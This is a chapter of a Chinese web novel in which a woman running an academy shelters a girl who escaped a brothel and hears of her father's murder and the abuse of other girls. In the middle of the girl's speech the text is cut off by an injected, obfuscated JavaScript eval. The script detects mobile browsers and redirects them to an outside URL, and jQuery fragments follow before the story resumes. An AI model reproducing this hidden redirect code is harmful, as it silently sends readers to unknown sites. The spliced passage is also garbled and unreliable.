九月初九，重阳佳节。


    昭问书院的入院考试拉开了帷幕，报名的姑娘不多，也就十数人，大多是商户人家的小姐，毕竟有钱有闲能读书，还没有所谓名声包袱的，也就她们了。


    细雨也参加了考核，她可是赵榜眼的亲传弟子，表面上派头十足十，心里紧张得打摆子。


    敲响了铜锣，考核正式开始。


    一盏茶后，有一名粗布麻衣的姑娘连滚带爬地冲到了书院门口，她快速磕头，额头都肿了起来：“求求了，求求您让我进去。”


    芙昭皱眉走了过去，扶起她：“你迟到了。”


    “对不起，对不起，我，我……”这姑娘急得双眼通红，分明只是荆钗布衣，脸上还有伤，但还是难掩国色天姿，当真是芙昭穿越至今，见到最养眼的姑娘了。


    “好在没有太晚，进去吧。”芙昭叹了口气，在这小可怜面前，她肯定硬不起心肠。


    芙昭还想再等等，看有没有其他意外状况出现。


    华九思给她搬来了一把椅子，芙昭莫名地心里一暖，笑着低声道：“随时随地入戏，很在状态嘛。”


    华九思笑了笑，也没解释什么。


    就在芙昭打算进考场看看时，几名打手模样的男人气喘吁吁地跑了过来。


    为首的男子身穿褐色短打，知些礼数，对着芙昭拱手道：“您就是昭记的东家吧？”


    芙昭点头：“有何贵干？”


    “我等追着一位姑娘而来，她早就卖身给了十六楼，性格乖戾，还请东家放人。”说罢，男子身后走出另一名年纪稍轻的男子，言之凿凿：“我跑得快，眼睁睁看着那贱蹄子进了书院。”


    芙昭问全知大大：十六楼是什么地方？


    全知大大：盛京知名乐坊，地处中城以北，近来已有颓势。


    就是传说中的青楼，芙昭哦了一声，眼皮都没抬：“敢问阁下，为何要骂那位姑娘？”


    为首的男子道：“东家莫怪，我这兄弟粗鲁，污了东家的耳。但那名姑娘确是贱籍，定是她没表明身份，这才玷污了书院这么圣洁的地方。”


    芙昭轻笑一声，银铃一般悦耳：“在我这书院里考试的，有商籍，奴籍，还有公候家小姐，再加个乐籍也不错，正应了圣人的有教无类嘛。”


    男子脸上的笑意逐渐散去，直起腰：“东家莫要说笑，十六楼……”


    “如果我没记错，十六楼在宛平县治下？”华九思看向他。


    男子皱眉：“这位公子是？”


    华九思唰地一声打开折扇：“宛平知县。”


    早就听说宛平新任知县是个新科进士，却没想到这般年轻，看来与这昭记东家关系匪浅啊。


    男子变了脸色，腰又弯了下去：“县尊莫要为难小人，十六楼要她回去，若是办不到，小人性命难保。若是县尊瞧上了她，月底府台大人办宴，小人让她也去，一舞助兴如何？”


    这是暗搓搓地拿顶头上司来给华九思施压呢。


    华九思正要说话，芙昭直接问：“你叫什么？”


    男子眼眸里闪过一丝得意：“小人刁十七，是十六楼的狎司。”


    就是龟公，还是个略有些文化的龟公。刁十七循循劝导：“十六楼在盛京百余年，就没跑过一个姑娘，尤其是这般资质的，还请东家三思。”


    芙昭向前走了两步。


    华九思担心地抬起胳膊：“小心。”其实是觉得刁十七肮脏，不愿芙昭离得太近。


    芙昭笑了笑：“无妨。”


    她身量娇小，五官精致，笑起来更是比蜜糖还甜。刁十七心里不由地开始估价，若她是十六楼的姑娘，定然是一名万人追捧的头牌。


    “这么说吧。”芙昭声音清脆，语气微冷，根本没有容貌那般甜美，“你若带不走她，回去会死，但你若带走她，现在就死，想好了吗？”


    刁十七的眼睛瞬间瞪大：这还是女人吗？也太狠了！


    说罢，芙昭没再看他一眼，偏头对一直守在门口的孟尔真道：“咱们进去看看，又不是科举，很快的。那位姑娘想来也没有住处，就留在昭问书院里帮忙，赚自己的食宿银子。”


    孟尔真眼眶发热，她也在教坊司挣扎过，最明白乐籍女子的痛苦，她原以为东家肯聘她为院主，是因为她早就脱了贱籍，声誉不错。现在看来，东家是真的只看人，不看身份，而且还侠义心肠。


    进了书院大堂，赵荃娘一身翰林官服，英姿飒爽。


    她快步走过来：“都答完题了，现在阅卷？”


    芙昭点头，赵荃娘和孟尔真就去了隔壁教室，徐蕊萱走过来与芙昭并肩而立，笑道：“从来没想到，我有一天还能当武先生。”


    大堂内，十几名女子早就站了起来，她们垂手静默，神情里有忐忑，也有激动。


    趁着等阅卷的功夫，芙昭介绍道：“这位徐大人是金科武探花，金吾卫指挥佥事。”


    众人行礼。


    芙昭点了点头：“昭问书院不止要做学问，还得健体魄，正式开课之后，徐佥事会派亲卫前来授课，她则每旬来考核。”


    弱女子什么的最讨厌了，题外话，芙昭现在身强体健，虽然学不来长枪短剑，但袖箭使得相当精准，自保无虞。


    当然这只是芙昭的审美，如果学子们不走武举，只是简单的日常健身就行，别到时候在考场累晕过去了。


    “好了，都不用拘束，或坐或饮茶，歇会儿。”


    芙昭话音刚落，就有小丫鬟们一溜儿进入端上茶水。


    她看了眼十六楼逃出来的姑娘，姑娘很乖觉地走了过来。


    芙昭对她说：“刁十七在书院门口，一时半会儿不会离开。”


    那姑娘吓得浑身发抖，嫣红的唇瓣颤着道：“我，我这就走，不给您添麻烦……”


    “我不是怕麻烦的人，更何况昭问书院不问身份，这是早就宣扬出去的。”芙昭笑问，“你叫什么名字？”


    “姬初夏。”她垂头道，“纷纷红紫已成尘，布谷声中夏令新，爹爹独自拉扯我长大，希望我能永远记住，我是初夏诞生，娘亲也是在初夏去世。”


    果然是个小可怜，芙昭继续问：“那你爹呢？”


    “我爹原本是个教书先生，但在三年前就被刁十七按进河里，溺死了。”姬初夏水杏一般的明眸突然爆发出汹涌的恨意，“他以为我不知道，但我都看着！记着！永世不忘！”


    芙昭久久不能言。


    姬初夏声声泣血：“他们还逼着我爹签了卖身契，但我不能死，我要报仇。”


    她抬起头，“我要堂堂正正地报仇，而不是当个蛊惑人心的妖姬。”


    是啊，若是以她的姿容，哄着一两个权贵杀掉刁十七，岂不是太容易？


    但如果真的选择了这条路，她爹自小手把手教她的文人风骨，岂不都如烟散了？


    芙昭叹了口气：“若你想手刃刁十七，我可以帮你。”


    姬初夏摇头：“在十六楼三年，我见过为虎作伥的姑娘，也目睹了誓死不从的姐妹。我清楚地记得，小花还没及笄，就被喜欢雏儿的官老爷凌虐致死，一卷薄席盖着她没有好肉的身子，被扔到乱葬岗没几天就只剩骨头。我也忘不了，月儿得了脏病，分明还有一口气，就被刁十七钉死在了棺材里……哈哈……”


    姬初夏怒极反笑，泪眼朦胧，“她还有棺材，还能下葬，已经是最大的幸运了。说到底，刁十七不过是把刀，十六楼不过是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070711|163185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缩影……”


    芙昭眼眶湿润：“那你想？”


    “我不知道。”姬初夏眼神里一片茫然，“杀了谁都没用，如我这般的悲剧还不会断绝，没有了十六楼，还有怡红院……”


    芙昭拉着她的手，缓步朝书院大堂外走去。


    院中有一株百年金桂，花如黄金，香气浓郁，其冠参天，繁茂的枝叶延伸开来，仿佛无边无际，古老却又欣欣向荣。


    芙昭给姬初夏讲了一个故事。


    在那个故事里，做皮肉生意是犯法的，家暴是会被入刑的，没有奴籍、乐籍、商籍，当然也有不平事，但大多数人，包括女人，是可以有选择的。


    姬初夏听得入迷，心中的迷雾逐渐散开。


    芙昭却道：“这很难，我可以断言，穷尽你我这一世都不能实现。”


    姬初夏急道：“那怎么办？”


    “不用焦虑。”芙昭展颜微笑，她仰头，闻着桂花香，缓缓开口，“听过愚公移山吗？一点点来呗，能救一个是一个，能推一点是一点，自有后来人。”


    姬初夏如梦方醒：是啊，如果她有能力，小花和月儿就不会死，纵然她救不了千万人，但身边的人在乎！


    芙昭挑了一下眉：“但说好啊，我不会给你优待，能否免束脩入昭问书院全看你自己的本事。”


    姬初夏的学问底子都是在父亲身边积累的，与赵荃娘不同，姬父虽然贫苦，但从没有把女儿当做获利的阶梯。从小悉心教导，寄予厚望。


    但到底在十六楼里磋磨了三年，孟尔真和赵荃娘选出来的三位免束脩姑娘里，没有姬初夏。


    “柳杏花，鱼盼儿，古寻香。”孟尔真念完名单，朝在坐的诸位姑娘们点了点头，“余下的姑娘若是想入学的，三日后需得带束脩过来。”


    芙昭偏头问徐蕊萱：“柳杏花？难道是你母亲的幼妹？”


    徐蕊萱笑着点头：“小姨心气很高，母亲很喜欢她。”


    这时，细雨哭丧着一张脸，一步一挪地蹭到芙昭身边，嘟囔：“婢子还是不行，没天分。”


    “没事，我涨你的月例银子，够束脩的。”


    细雨抱住芙昭，喜道：“就知道小姐最好啦。”


    这小丫头长得喜庆，全心全意为芙昭，既有读书之心，自然不能蹉跎。


    姬初夏脸色不好，她等细雨欢乐完，才对芙昭行了一礼，干涩着声音道别：“今日能得小姐点拨，已经是获益匪浅，还望有缘再见。”


    这时，孟尔真叫了她的名字：“姬初夏，若你愿意替书院收拾文稿，做些杂事，便免了束脩。你可愿意？”


    “愿意，当然愿意！”姬初夏喜极而泣。


    她知道，这肯定是芙昭的意思，但等她回身想要道谢时，却寻不到芙昭的影子。


    书院外，刁十七看着芙昭和华九思乘车离开，等到临近宵禁，这才不得已愤愤离去。当然，他还留下几个人盯梢。


    快马加鞭，回了十六楼。


    十六楼名满盛京，是京都达官贵人的优选娱乐场所，只是近年来有些青黄不接，没有拿得出手的头牌。


    前朝有诗云：十六楼头夜，红灯映翠蛾。轻歌伴曼舞，醉客不知多。


    但再多名篇绝句，都掩盖不了十六楼的姑娘年不过三十的命运。


    刁十七还没开口，就被甩了一巴掌。


    平日出门迎客的美貌鸨母战战兢兢地躲在一旁，大腹便便的真正话事人气急败坏地斥骂：“那贱蹄子是贵人点名要的，你居然敢把人丢了？”


    “没丢没丢，就在昭问书院。”刁十七捂着脸，“小人被华县尊拦下，不敢妄动啊。”


    话事人面露狰狞：“小小县令，把人给我抢回来！”